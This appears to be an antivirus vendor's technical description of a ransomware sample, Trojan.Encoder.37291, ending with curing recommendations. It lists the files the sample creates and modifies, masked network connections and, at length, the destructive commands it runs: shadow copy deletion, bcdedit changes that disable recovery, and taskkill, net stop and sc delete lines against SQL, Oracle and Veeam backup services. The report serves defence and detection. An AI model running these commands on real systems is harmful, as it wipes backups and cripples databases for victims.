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Trojan.Encoder.37291
Added to the Dr.Web virus database:
2023-02-23
Virus description added:
2023-02-25
Technical Information
To ensure autorun and distribution
Creates the following files on removable media
<Drive name for removable media>:\delete.avi
<Drive name for removable media>:\dashborder_192.bmp
<Drive name for removable media>:\tileimage.bmp
<Drive name for removable media>:\default.bmp
<Drive name for removable media>:\applicantform_en.doc
<Drive name for removable media>:\split.avi
<Drive name for removable media>:\hanni_umami_chapter.doc
<Drive name for removable media>:\ovp25012015.doc
<Drive name for removable media>:\february_catalogue__2015.doc
<Drive name for removable media>:\weeklysheet1215.doc
<Drive name for removable media>:\file_p_00000000_1371597592.docx
<Drive name for removable media>:\holycrosschurchinstructions.docx
<Drive name for removable media>:\fi51.doc
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following
'%WINDIR%\syswow64\taskkill.exe' /F /IM Veeam.Backup.Agent.ConfigurationService.exe
'%WINDIR%\syswow64\net.exe' stop MSSQL$
'%WINDIR%\syswow64\net.exe' stop SQLSERVERAGENT
'%WINDIR%\syswow64\net.exe' stop "SQLSERVERAGENT"
'%WINDIR%\syswow64\net.exe' stop "SQLBrowser"
'%WINDIR%\syswow64\net.exe' stop SQLBrowser
'%WINDIR%\syswow64\net.exe' stop "SQLTELEMETRY"
'%WINDIR%\syswow64\net.exe' stop "MsDtsServer130"
'%WINDIR%\syswow64\net.exe' stop "SSISTELEMETRY130"
'%WINDIR%\syswow64\net.exe' stop "MSOLAP$SHOPCONTROL9"
'%WINDIR%\syswow64\net.exe' stop "SQLWrite"
'%WINDIR%\syswow64\net.exe' stop vss
'%WINDIR%\syswow64\net.exe' stop "MSSQL$SHOPCONTROL9"
'%WINDIR%\syswow64\taskkill.exe' /F /IM U8WorkerService.exe
'%WINDIR%\syswow64\net.exe' stop "MSSQLFDLauncher$SHOPCONTROL9"
'%WINDIR%\syswow64\taskkill.exe' -f -im sqlbrowser.exe
Injects code into
the following system processes:
%WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
Terminates or attempts to terminate
the following system processes:
%WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
Modifies file system
Creates the following files
%TEMP%\ktwtqezqenfrcoqncff.bat
<Current directory>\targetinfo.txt
Modifies the following files
<Drive name for removable media>:\correct.avi
<Drive name for removable media>:\delete.avi
<Drive name for removable media>:\split.avi
<Drive name for removable media>:\dashborder_192.bmp
<Drive name for removable media>:\tileimage.bmp
<Drive name for removable media>:\default.bmp
<Drive name for removable media>:\applicantform_en.doc
<Drive name for removable media>:\ovp25012015.doc
<Drive name for removable media>:\hanni_umami_chapter.doc
<Drive name for removable media>:\february_catalogue__2015.doc
<Drive name for removable media>:\weeklysheet1215.doc
<Drive name for removable media>:\fi51.doc
<Drive name for removable media>:\file_p_00000000_1371597592.docx
<Drive name for removable media>:\holycrosschurchinstructions.docx
<Drive name for removable media>:\adhd_and_obesity.docx
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
'ap#.#pify.org':80
'19#.#06.191.141':80
'22#.0.0.22':445
TCP
UDP
Miscellaneous
Searches for the following windows
ClassName: '' WindowName: ''
Creates and executes the following
'%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {current} bootstatuspolicy ignoreallfailures' (with hidden window)
'<SYSTEM32>\vssadmin.exe' delete shadows /all /quiet' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {current} recoveryenabled no' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill...' (with hidden window)
Executes the following
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\Ktwtqezqenfrcoqncff.bat" "
'%WINDIR%\syswow64\sc.exe' config SQLSERVERAGENT start=disabled
'%WINDIR%\syswow64\sc.exe' config "SQLAgent" start= disabled
'%WINDIR%\syswow64\net1.exe' stop "SQLBrowser"
'%WINDIR%\syswow64\cmd.exe' /c "color b & a & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delet...
'%WINDIR%\syswow64\net1.exe' stop SQLBrowser
'%WINDIR%\syswow64\net1.exe' stop "SQLTELEMETRY"
'%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc d...
'%WINDIR%\syswow64\net1.exe' stop "SQLSERVERAGENT"
'%WINDIR%\syswow64\cmd.exe' /C taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill...
'%WINDIR%\syswow64\sc.exe' config "MSSQLServerADHelper100" start= disabled
'%WINDIR%\syswow64\net1.exe' stop "SSISTELEMETRY130"
'%WINDIR%\syswow64\net1.exe' stop "MSOLAP$SHOPCONTROL9"
'%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc ...
'%WINDIR%\syswow64\sc.exe' config "MSSQLServerOLAPService" start= disabled
'%WINDIR%\syswow64\net1.exe' stop "SQLWrite"
'%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusb...
'%WINDIR%\syswow64\net1.exe' stop vss
'%WINDIR%\syswow64\net1.exe' stop "MsDtsServer130"
'%WINDIR%\syswow64\sc.exe' config SQLBrowser start=disabled
'%WINDIR%\syswow64\sc.exe' config "MSSQL" start= disabled
'%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {current} recoveryenabled no
'%WINDIR%\syswow64\cmd.exe' /c "color b & a & @taskkill /IM DDSoftPwsTomcat9.exe /F & @taskkill /IM U8SmartClient.exe /F & @taskkill /IM U8SmartClientMonitor.exe /F & @taskkill /IM tomcat9.exe /F & @taskkill /IM SqlManage...
'%WINDIR%\syswow64\cmd.exe' /c "color b & sc config MSSQLSERVER start=disabled & sc config "SQL Server (MSSQLSERVER)" start=disabled & net stop MSSQL$ & sc config MSSQL$ start=disabled & net stop SQLSERVERAGENT & sc confi...
'%WINDIR%\syswow64\cmd.exe' /c "color b & a & taskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe & taskkill /F /IM Veeam.Backup.BrokerService.exe & taskkill /F /IM Veeam.Backup.CatalogDataService.exe & taskkill /...
'%WINDIR%\syswow64\ipconfig.exe'
'%WINDIR%\syswow64\sc.exe' config MSSQLSERVER start=disabled
'%WINDIR%\syswow64\sc.exe' config "SQL Server (MSSQLSERVER)" start=disabled
'%WINDIR%\syswow64\cmd.exe' /c "color b & a & net stop "SQLSERVERAGENT" & net stop "SQLBrowser" & net stop "SQLTELEMETRY" & net stop "MsDtsServer130" & net stop "SSISTELEMETRY130" & net stop "SQLWrite" & net stop "MSSQL$V...
'%WINDIR%\syswow64\cmd.exe' /c "color b & a & sc config "SQLWriter" start= disabled & sc config "MSSQL$VEEAMSQL2012" start= disabled & sc config "SQLAgent$VEEAMSQL2012" start= disabled & sc config "MSSQL" start= disabled ...
'%WINDIR%\syswow64\net1.exe' stop MSSQL$
'%WINDIR%\syswow64\whoami.exe'
'%WINDIR%\syswow64\cmd.exe' /c "color b & taskkill /F /IM U8WorkerService.exe & taskkill /F /IM UFIDA.U8.ECE.UTU.Services.exe & taskkill /F /IM UFIDA.U8.UAP.ReportService.exe & taskkill /F /IM U8AllAuthServer.exe & taskki...
'%WINDIR%\syswow64\cmd.exe' /c "color b & a & net stop "MSOLAP$SHOPCONTROL9" & net stop "MSSQL$SHOPCONTROL9" & net stop "MSSQLFDLauncher$SHOPCONTROL9" & net stop "ReportServer$SHOPCONTROL9" & net stop "SQLAgent$SHOPCONTRO...
'%WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe'
'%WINDIR%\syswow64\net1.exe' stop SQLSERVERAGENT
'%WINDIR%\syswow64\sc.exe' config "SQLWriter" start= disabled
'%WINDIR%\syswow64\sc.exe' config "MSSQL$VEEAMSQL2012" start= disabled
'%WINDIR%\syswow64\cmd.exe' /c "color b & a & @taskkill /IM Tomcat7w.exe /F & @taskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F & @taskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F & @taskkill /IM Launchpad.exe /F & @tas...
'%WINDIR%\syswow64\sc.exe' config "SQLAgent$VEEAMSQL2012" start= disabled
'%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
'%WINDIR%\syswow64\sc.exe' config MSSQL$ start=disabled
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$SHOPCONTROL9"
'%WINDIR%\syswow64\sc.exe' config vss start=disabled
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
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